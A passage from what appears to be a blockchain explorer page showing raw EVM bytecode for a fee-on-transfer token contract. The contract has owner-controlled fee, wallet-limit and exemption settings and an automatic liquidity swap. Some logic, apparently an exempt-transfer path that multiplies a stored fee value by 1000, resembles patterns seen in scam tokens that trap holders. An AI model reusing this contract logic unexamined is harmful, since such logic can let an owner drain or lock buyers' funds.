fffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1e90612e0a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611073576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106a90612e0a565b60405180910390fd5b80601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160086000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60045481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606002805461116f90612d8d565b80601f016020809104026020016040519081016040528092919081815260200182805461119b90612d8d565b80156111e85780601f106111bd576101008083540402835291602001916111e8565b820191906000526020600020905b8154815290600101906020018083116111cb57829003601f168201915b5050505050905090565b60095481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611286576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127d90612e0a565b60405180910390fd5b81600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061133f338484611832565b905092915050565b60135481565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611401576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f890612e0a565b60405180910390fd5b8260098190555081600a819055506114228284611d2590919063ffffffff16565b600b8190555080600c819055506003600c5461143e9190612ee2565b600b5410611481576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147890612f5f565b60405180910390fd5b505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150b90612e0a565b60405180910390fd5b82601160146101000a81548160ff0219169083151502179055508160128190555080601381905550505050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461167c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167390612e0a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036116eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e290612fcb565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000838311158290611816576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180d919061295d565b60405180910390fd5b50600083856118259190612feb565b9050809150509392505050565b60008061183e84610e50565b9050600454838261184f919061301f565b1115806118a55750600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6118e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118db906130e7565b60405180910390fd5b6118ec611d83565b80156119455750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b1561195357611952611e5a565b5b600062989680846119649190612ee2565b9050600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a0d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b15611a21578084611a1e9190612feb565b93505b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611ac35750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611adc57611ad38686866123d5565b92505050611d1e565b611b65846040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ce9092919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000611bb487876124f9565b611bbe5784611c1a565b611c198786601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff16146125a7565b5b9050611c6e81600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2590919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d0e91906128a9565b60405180910390a3600193505050505b9392505050565b6000808284611d34919061301f565b905083811015611d79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7090613153565b60405180910390fd5b8091505092915050565b6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015611df05750601460009054906101000a900460ff16155b8015611e085750601160149054906101000a900460ff165b8015611e555750601254600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b905090565b6001601460006101000a81548160ff0219169083151502179055506000601354600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611eca576013549050611f0d565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b6000611f4b6002611f3d600b54611f2f6009548761271f90919063ffffffff16565b61279990919063ffffffff16565b61279990919063ffffffff16565b90506000611f6282846127e390919063ffffffff16565b90506000600267ffffffffffffffff811115611f8157611f80613173565b5b604051908082528060200260200182016040528015611faf5781602001602082028036833780820191505090505b5090503081600081518110611fc757611fc66131a2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561206e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061209291906131e6565b816001815181106120a6576120a56131a2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161214495949392919061330c565b600060405180830381600087803b15801561215e57600080fd5b505af1158015612172573d6000803e3d6000fd5b50505050600047905060006121a7612196600260095461279990919063ffffffff16565b600b546127e390919063ffffffff16565b905060006121e560026121d7846121c96009548861271f90919063ffffffff16565b61279990919063ffffffff16565b61279990919063ffffffff16565b905060006121fc82856127e390919063ffffffff16565b9050600081111561229e576000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16826175309060405161225390613397565b600060405180830381858888f193505050503d8060008114612291576040519150601f19603f3d011682016040523d82523d6000602084013e612296565b606091505b505080915050505b60008711156123b057601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308a600080600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401612330969594939291906133ac565b60606040518083038185885af115801561234e573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906123739190613422565b5050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450682886040516123a7929190613475565b60405180910390a15b50505050505050506000601460006101000a81548160ff021916908315150217905550565b60006123ee6103e8600d5461271f90919063ffffffff16565b600d8190555061244682600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2590919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516124e691906128a9565b60405180910390a3600190509392505050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561259f5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905092915050565b600080826125b65760646125ba565b600d545b905060006126056064600c546125d09190612e59565b6125f7846125e9600b548a61271f90919063ffffffff16565b61271f90919063ffffffff16565b61279990919063ffffffff16565b905061265981600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2590919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516126f991906128a9565b60405180910390a361271481866127e390919063ffffffff16565b925050509392505050565b60008083036127315760009050612793565b6000828461273f9190612e59565b905082848261274e9190612ee2565b1461278e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161278590613510565b60405180910390fd5b809150505b92915050565b60006127db83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061282d565b905092915050565b600061282583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117ce565b905092915050565b60008083118290612874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161286b919061295d565b60405180910390fd5b50600083856128839190612ee2565b9050809150509392505050565b6000819050919050565b6128a381612890565b82525050565b60006020820190506128be600083018461289a565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156128fe5780820151818401526020810190506128e3565b8381111561290d576000848401525b50505050565b6000601f19601f8301169050919050565b600061292f826128c4565b61293981856128cf565b93506129498185602086016128e0565b61295281612913565b840191505092915050565b600060208201905081810360008301526129778184612924565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006129af82612984565b9050919050565b6129bf816129a4565b81146129ca57600080fd5b50565b6000813590506129dc816129b6565b92915050565b6129eb81612890565b81146129f657600080fd5b50565b600081359050612a08816129e2565b92915050565b60008060408385031215612a2557612a2461297f565b5b6000612a33858286016129cd565b9250506020612a44858286016129f9565b9150509250929050565b60008115159050919050565b612a6381612a4e565b82525050565b6000602082019050612a7e6000830184612a5a565b92915050565b612a8d81612a4e565b8114612a9857600080fd5b50565b600081359050612aaa81612a84565b92915050565b60008060408385031215612ac757612ac661297f565b5b6000612ad5858286016129cd565b9250506020612ae685828601612a9b565b9150509250929050565b600080600060608486031215612b0957612b0861297f565b5b6000612b17868287016129cd565b9350506020612b28868287016129cd565b9250506040612b39868287016129f9565b9150509250925092565b600060ff82169050919050565b612b5981612b43565b82525050565b6000602082019050612b746000830184612b50565b92915050565b600060208284031215612b9057612b8f61297f565b5b6000612b9e848285016129cd565b91505092915050565b600060208284031215612bbd57612bbc61297f565b5b6000612bcb848285016129f9565b91505092915050565b612bdd816129a4565b82525050565b6000602082019050612bf86000830184612bd4565b92915050565b60008060408385031215612c1557612c1461297f565b5b6000612c23858286016129cd565b9250506020612c34858286016129cd565b9150509250929050565b600080600060608486031215612c5757612c5661297f565b5b6000612c65868287016129f9565b9350506020612c76868287016129f9565b9250506040612c87868287016129f9565b9150509250925092565b600080600060608486031215612caa57612ca961297f565b5b6000612cb886828701612a9b565b9350506020612cc9868287016129f9565b9250506040612cda868287016129f9565b9150509250925092565b6000819050919050565b6000612d09612d04612cff84612984565b612ce4565b612984565b9050919050565b6000612d1b82612cee565b9050919050565b6000612d2d82612d10565b9050919050565b612d3d81612d22565b82525050565b6000602082019050612d586000830184612d34565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612da557607f821691505b602082108103612db857612db7612d5e565b5b50919050565b7f216f776e65720000000000000000000000000000000000000000000000000000600082015250565b6000612df46006836128cf565b9150612dff82612dbe565b602082019050919050565b60006020820190508181036000830152612e2381612de7565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612e6482612890565b9150612e6f83612890565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612ea857612ea7612e2a565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612eed82612890565b9150612ef883612890565b925082612f0857612f07612eb3565b5b828204905092915050565b7f466565732063616e6e6f74206265206d6f7265207468616e2033332500000000600082015250565b6000612f49601c836128cf565b9150612f5482612f13565b602082019050919050565b60006020820190508181036000830152612f7881612f3c565b9050919050565b7f6e65772069732030000000000000000000000000000000000000000000000000600082015250565b6000612fb56008836128cf565b9150612fc082612f7f565b602082019050919050565b60006020820190508181036000830152612fe481612fa8565b9050919050565b6000612ff682612890565b915061300183612890565b92508282101561301457613013612e2a565b5b828203905092915050565b600061302a82612890565b915061303583612890565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561306a57613069612e2a565b5b828201905092915050565b7f546f74616c20486f6c64696e672069732063757272656e746c79206c696d697460008201527f65642c2068652063616e206e6f7420686f6c642074686174206d7563682e0000602082015250565b60006130d1603e836128cf565b91506130dc82613075565b604082019050919050565b60006020820190508181036000830152613100816130c4565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061313d601b836128cf565b915061314882613107565b602082019050919050565b6000602082019050818103600083015261316c81613130565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506131e0816129b6565b92915050565b6000602082840312156131fc576131fb61297f565b5b600061320a848285016131d1565b91505092915050565b6000819050919050565b600061323861323361322e84613213565b612ce4565b612890565b9050919050565b6132488161321d565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613283816129a4565b82525050565b6000613295838361327a565b60208301905092915050565b6000602082019050919050565b60006132b98261324e565b6132c38185613259565b93506132ce8361326a565b8060005b838110156132ff5781516132e68882613289565b97506132f1836132a1565b9250506001810190506132d2565b5085935050505092915050565b600060a082019050613321600083018861289a565b61332e602083018761323f565b818103604083015261334081866132ae565b905061334f6060830185612bd4565b61335c608083018461289a565b9695505050505050565b600081905092915050565b50565b6000613381600083613366565b915061338c82613371565b600082019050919050565b60006133a282613374565b9150819050919050565b600060c0820190506133c16000830189612bd4565b6133ce602083018861289a565b6133db604083018761323f565b6133e8606083018661323f565b6133f56080830185612bd4565b61340260a083018461289a565b979650505050505050565b60008151905061341c816129e2565b92915050565b60008060006060848603121561343b5761343a61297f565b5b60006134498682870161340d565b935050602061345a8682870161340d565b925050604061346b8682870161340d565b9150509250925092565b600060408201905061348a600083018561289a565b613497602083018461289a565b9392505050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006134fa6021836128cf565b91506135058261349e565b604082019050919050565b60006020820190508181036000830152613529816134ed565b905091905056fea264697066735822122088c6fd382b277aadfcdc9cae8601a1e0753ed8e84b4d4f9e4432b64ae6038ebb64736f6c634300080f00330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Deployed Bytecode
0x6080604052600436106101f25760003560e01c8063715018a61161010d578063a9059cbb116100a0578063d08893581161006f578063d0889358146106ec578063dd62ed3e14610715578063e96fada214610752578063f2fde38b1461077d578063f887ea40146107a6576101f9565b8063a9059cbb14610630578063acef1a441461066d578063ca33e64c14610698578063cec10c11146106c3576101f9565b806395d89b41116100dc57806395d89b411461058657806398118cb4146105b1578063a4b45c00146105dc578063a8aa1b3114610605576101f9565b8063715018a6146104f057806373a432bb1461050757806378109e54146105305780638da5cb5b1461055b576101f9565b8063313ce56711610185578063658d4b7f11610154578063658d4b7f146104345780636b67c4df1461045d5780636ddd17131461048857806370a08231146104b3576101f9565b8063313ce5671461037857806344ca19e4146103a3578063571ac8b0146103ce5780635d0044ca1461040b576101f9565b806318160ddd116101c157806318160ddd146102bc5780631df4ccfc146102e75780632198cf6c1461031257806323b872dd1461033b576101f9565b80630445b667146101fe57806306fdde0314610229578063095ea7b314610254578063180b0d7e14610291576101f9565b366101f957005b600080fd5b34801561020a57600080fd5b506102136107d1565b60405161022091906128a9565b60405180910390f35b34801561023557600080fd5b5061023e6107d7565b60405161024b919061295d565b60405180910390f35b34801561026057600080fd5b5061027b60048036038101906102769190612a0e565b610869565b6040516102889190612a69565b60405180910390f35b34801561029d57600080fd5b506102a661095b565b6040516102b391906128a9565b60405180910390f35b3480156102c857600080fd5b506102d1610961565b6040516102de91906128a9565b60405180910390f35b3480156102f357600080fd5b506102fc61096b565b60405161030991906128a9565b60405180910390f35b34801561031e57600080fd5b5061033960048036038101906103349190612ab0565b610971565b005b34801561034757600080fd5b50610362600480360381019061035d9190612af0565b610a5a565b60405161036f9190612a69565b60405180910390f35b34801561038457600080fd5b5061038d610c5a565b60405161039a9190612b5f565b60405180910390f35b3480156103af57600080fd5b506103b8610c63565b6040516103c591906128a9565b60405180910390f35b3480156103da57600080fd5b506103f560048036038101906103f09190612b7a565b610c69565b6040516104029190612a69565b60405180910390f35b34801561041757600080fd5b50610432600480360381019061042d9190612ba7565b610c9c565b005b34801561044057600080fd5b5061045b60048036038101906104569190612ab0565b610d4e565b005b34801561046957600080fd5b50610472610e37565b60405161047f91906128a9565b60405180910390f35b34801561049457600080fd5b5061049d610e3d565b6040516104aa9190612a69565b60405180910390f35b3480156104bf57600080fd5b506104da60048036038101906104d59190612b7a565b610e50565b6040516104e791906128a9565b60405180910390f35b3480156104fc57600080fd5b50610505610e99565b005b34801561051357600080fd5b5061052e60048036038101906105299190612b7a565b610fe5565b005b34801561053c57600080fd5b50610545611131565b60405161055291906128a9565b60405180910390f35b34801561056757600080fd5b50610570611137565b60405161057d9190612be3565b60405180910390f35b34801561059257600080fd5b5061059b611160565b6040516105a8919061295d565b60405180910390f35b3480156105bd57600080fd5b506105c66111f2565b6040516105d391906128a9565b60405180910390f35b3480156105e857600080fd5b5061060360048036038101906105fe9190612bfe565b6111f8565b005b34801561061157600080fd5b5061061a61130c565b6040516106279190612be3565b60405180910390f35b34801561063c57600080fd5b5061065760048036038101906106529190612a0e565b611332565b6040516106649190612a69565b60405180910390f35b34801561067957600080fd5b50610682611347565b60405161068f91906128a9565b60405180910390f35b3480156106a457600080fd5b506106ad61134d565b6040516106ba9190612be3565b60405180910390f35b3480156106cf57600080fd5b506106ea60048036038101906106e59190612c3e565b611373565b005b3480156106f857600080fd5b50610713600480360381019061070e9190612c91565b611486565b005b34801561072157600080fd5b5061073c60048036038101906107379190612bfe565b611541565b60405161074991906128a9565b60405180910390f35b34801561075e57600080fd5b506107676115c8565b6040516107749190612be3565b60405180910390f35b34801561078957600080fd5b506107a4600480360381019061079f9190612b7a565b6115ee565b005b3480156107b257600080fd5b506107bb6117a8565b6040516107c89190612d43565b60405180910390f35b60125481565b6060600180546107e690612d8d565b80601f016020809104026020016040519081016040528092919081815260200182805461081290612d8d565b801561085f5780601f106108345761010080835404028352916020019161085f565b820191906000526020600020905b81548152906001019060200180831161084257829003601f168201915b5050505050905090565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161094991906128a9565b60405180910390a36001905092915050565b600c5481565b6000600354905090565b600b5481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f690612e0a565b60405180910390fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610c4657610bc5826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ce9092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610c51848484611832565b90509392505050565b60006009905090565b600d5481565b6000610c95827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610869565b9050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2190612e0a565b60405180910390fd5b61271081600354610d3b9190612e59565b610d459190612ee2565b60048190555050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ddc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd390612e0a565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600a5481565b601160149054906101000a900460ff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1e90612e0a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611073576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106a90612e0a565b60405180910390fd5b80601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160086000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60045481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606002805461116f90612d8d565b80601f016020809104026020016040519081016040528092919081815260200182805461119b90612d8d565b80156111e85780601f106111bd576101008083540402835291602001916111e8565b820191906000526020600020905b8154815290600101906020018083116111cb57829003601f168201915b5050505050905090565b60095481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611286576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127d90612e0a565b60405180910390fd5b81600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061133f338484611832565b905092915050565b60135481565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611401576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f890612e0a565b60405180910390fd5b8260098190555081600a819055506114228284611d2590919063ffffffff16565b600b8190555080600c819055506003600c5461143e9190612ee2565b600b5410611481576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147890612f5f565b60405180910390fd5b505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150b90612e0a565b60405180910390fd5b82601160146101000a81548160ff0219169083151502179055508160128190555080601381905550505050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461167c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167390612e0a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036116eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e290612fcb565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000838311158290611816576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180d919061295d565b60405180910390fd5b50600083856118259190612feb565b9050809150509392505050565b60008061183e84610e50565b9050600454838261184f919061301f565b1115806118a55750600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6118e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118db906130e7565b60405180910390fd5b6118ec611d83565b80156119455750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b1561195357611952611e5a565b5b600062989680846119649190612ee2565b9050600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a0d5750601160009054906101000a900473ffffffffffffff